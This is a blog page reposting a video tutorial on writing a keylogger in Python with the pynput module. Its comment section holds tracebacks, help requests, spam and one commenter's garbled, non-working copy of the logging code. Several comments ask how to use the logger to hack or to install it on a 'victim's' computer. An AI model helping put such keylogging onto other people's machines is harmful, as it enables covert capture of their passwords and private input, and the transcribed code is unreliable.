Create a Keylogger with Python – Tutorial

///Create a Keylogger with Python – Tutorial

Create a Keylogger with Python – Tutorial

FavoriteLoadingAdd to favorites

Learn how to create a keylogger for windows using Python. Get user keypresses and store them in a text file. This keyboard logging tutorial uses the pynput module.

Tutorial from Tech With Tim.
Check out Tim’s channel:

Learn to code for free and get a developer job:

Read hundreds of articles on programming:

And subscribe for new videos on technology every day:

source

By |2020-12-27T11:29:56+00:00December 27th, 2020|Python Video Tutorials|24 Comments

24 Comments

  1. Tech With Tim December 27, 2020 at 11:30 am - Reply

    Hey guys if you enjoyed the video and want to see more like it check out my channel: https://youtube.com/techwithtim & my website: https://techwithtim.net

  2. [mud] sharp December 27, 2020 at 11:30 am - Reply

    Hi I wanted to make a program that when I press ` it presses 0 it self but I'm new to python so whatever I code it tells me an error

  3. Raiden Midnight December 27, 2020 at 11:30 am - Reply

    anyone else seeing only (0) pressed???

  4. SSK Engineering December 27, 2020 at 11:30 am - Reply

    Code is not working for me! Python is installed properly along with pynput i get this warning
    /Users/sundeeprai/PycharmProjects/keylogger/venv/bin/python /Users/sundeeprai/PycharmProjects/keylogger/keys.py
    Traceback (most recent call last):
    File "/Users/sundeeprai/PycharmProjects/keylogger/keys.py", line 13, in <module>
    listener.join()
    File "/Users/sundeeprai/PycharmProjects/keylogger/venv/lib/python3.8/site-packages/pynput/_util/__init__.py", line 252, in join
    super(AbstractListener, self).join(*args)
    File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/threading.py", line 1011, in join
    self._wait_for_tstate_lock()
    File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/threading.py", line 1027, in _wait_for_tstate_lock
    elif lock.acquire(block, timeout):
    KeyboardInterrupt

    Process finished with exit code 130 (interrupted by signal 2: SIGINT)

    any help will be appreciated .

  5. Μιλ Μυλ PAOK FOREVER December 27, 2020 at 11:30 am - Reply

    how can i hack with this? Pls someone answer

  6. Nano Geek December 27, 2020 at 11:30 am - Reply

    you have to type
    "if k.find("Key.space") > 0:"
    not
    "if k.find("space") > 0:"
    or it will count backspace too

  7. upendar kattal December 27, 2020 at 11:30 am - Reply

    my text dosnt show in log file why is it?

  8. Farhad Anwari December 27, 2020 at 11:30 am - Reply

    I already installed pynput but still (import pynput) is not working.

  9. hide your sisters December 27, 2020 at 11:30 am - Reply

    cool speedrun, are you going to create a tutorial as well in the future?

  10. Snəha Tiwari December 27, 2020 at 11:30 am - Reply

    Hey, the log file is not storing the keys! help me or give me any source where you code is written.

  11. Terwski Syzymon December 27, 2020 at 11:30 am - Reply

    If I can't use a keylogger on a person that doesn't have python, can I run the script that installs python on the victim's computer?

  12. Cosmo December 27, 2020 at 11:30 am - Reply

    I followed the tutorial and am running into some errors, is there source code for this linked anywhere?

  13. Biggie Cheese Youtube December 27, 2020 at 11:30 am - Reply

    Get free roblox accounts anywhere you go

  14. Taikutsu December 27, 2020 at 11:30 am - Reply

    any fixes? 'c' pressed

    Unhandled exception in listener callback

    Traceback (most recent call last):

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagespynput_util__init__.py", line 211, in inner

    return f(self, *args, **kwargs)

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagespynputkeyboard_win32.py", line 283, in _process

    self.on_release(key)

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagespynput_util__init__.py", line 127, in inner

    if f(*args) is False:

    File "C:UsersDiogoDesktopkeyloggermain.py", line 30, in on_release

    if key == key.esc:

    AttributeError: 'KeyCode' object has no attribute 'esc'

    Traceback (most recent call last):

    File "C:UsersDiogoDesktopkeyloggermain.py", line 35, in <module>

    listener.join()

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagespynput_util__init__.py", line 259, in join

    six.reraise(exc_type, exc_value, exc_traceback)

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagessix.py", line 702, in reraise

    raise value.with_traceback(tb)

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagespynput_util__init__.py", line 211, in inner

    return f(self, *args, **kwargs)

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagespynputkeyboard_win32.py", line 283, in _process

    self.on_release(key)

    File "C:UsersDiogoAppDataLocalPackagesPythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0LocalCachelocal-packagesPython38site-packagespynput_util__init__.py", line 127, in inner

    if f(*args) is False:

    File "C:UsersDiogoDesktopkeyloggermain.py", line 30, in on_release

    if key == key.esc:

    AttributeError: 'KeyCode' object has no attribute 'esc'

    [Finished in 8.1s with exit code 1]

    [shell_cmd: python -u "C:UsersDiogoDesktopkeyloggermain.py"]

    [dir: C:UsersDiogoDesktopkeylogger]

    [path: C:Program Files (x86)Common FilesOracleJavajavapath;C:Program Files (x86)Common FilesIntelShared Librariesredistintel64compiler;C:WINDOWSsystem32;C:WINDOWS;C:WINDOWSSystem32Wbem;C:WINDOWSSystem32WindowsPowerShellv1.0;C:WINDOWSSystem32OpenSSH;C:Program Files (x86)NVIDIA CorporationPhysXCommon;C:Program FilesNVIDIA CorporationNVIDIA NvDLISR;C:Program Filesdotnet;C:WINDOWSsystem32;C:WINDOWS;C:WINDOWSSystem32Wbem;C:WINDOWSSystem32WindowsPowerShellv1.0;C:WINDOWSSystem32OpenSSH;C:Program FilesJavajdk1.8.0_261bin;C:Program Filesnodejs;C:UsersDiogoAppDataLocalMicrosoftWindowsApps;C:UsersDiogo.dotnettools;C:UsersDiogoAppDataLocalProgramsMicrosoft VS Codebin;C:Program FilesJetBrainsIntelliJ IDEA Community Edition 2020.2.2bin;;C:UsersDiogoAppDataRoamingnpm;D:programaspycharm community editionPyCharm Community Edition 2020.2.3bin;;C:Program FilesJetBrainsPyCharm 2020.2.3bin;]

  15. geilestoast December 27, 2020 at 11:30 am - Reply

    doesnt work for me, tells me that the pynput is imported but not used, can someone help me?

  16. ReaperProgrammer December 27, 2020 at 11:30 am - Reply

    I get the error:
    AttributeError: 'Listener' object has no attribute 'Join'
    edit: nvm I'm just I put a capital j

  17. earrape mix December 27, 2020 at 11:30 am - Reply

    import pynput

    from pynput.keyboard import Key, Listener

    count: = 50
    keys = []

    def on_press(key) :
    global keys, count

    keys.append(Key)
    count += 1
    print("(0) pressed".format(key) )

    if count >= 50:
    count = 0
    write_file(keys)
    keys = []

    def write_file(keys) :
    with open("log.txt", "w") as f:
    for keys in keys:
    k = str(Key) .replace("'","'")
    if k.find("space") > 0:
    f.write('n')
    elif k.find("Key") == -1:
    f.write(k)

    def on_release(Key) :
    if Key == Key.esc:
    return False

    with Listener(on_press=on_press, on_release=on_release) as Listener:
    Listener.join()

  18. Michael Maldonado December 27, 2020 at 11:30 am - Reply

    my code just results in (0) pressed for every key. Why is that? Please help 🙁

  19. CodedHexagon December 27, 2020 at 11:30 am - Reply

    ok pretty cool, how am i gonna add it to a program?

  20. Ehizuelen Abhulimen December 27, 2020 at 11:30 am - Reply

    I installed the pynput and it said successful, yet it says no module nameed pynput when i try to run the code

  21. GameSense December 27, 2020 at 11:30 am - Reply

    SUB ME

  22. Arunarka Mukhopadhyay December 27, 2020 at 11:30 am - Reply

    If you press Esc before the count is < 10, those last characters will not get logged.

  23. Jeemar suaybaguio December 27, 2020 at 11:30 am - Reply

    Which platform is can run on? OS or Mac OSX?

  24. no comment December 27, 2020 at 11:30 am - Reply

    Sir I want to study.please donate me.
    My btc wallet is
    1ExQ2rsEdUV77qcLfimAEQNGkwPdKe3fAm

Leave A Comment

*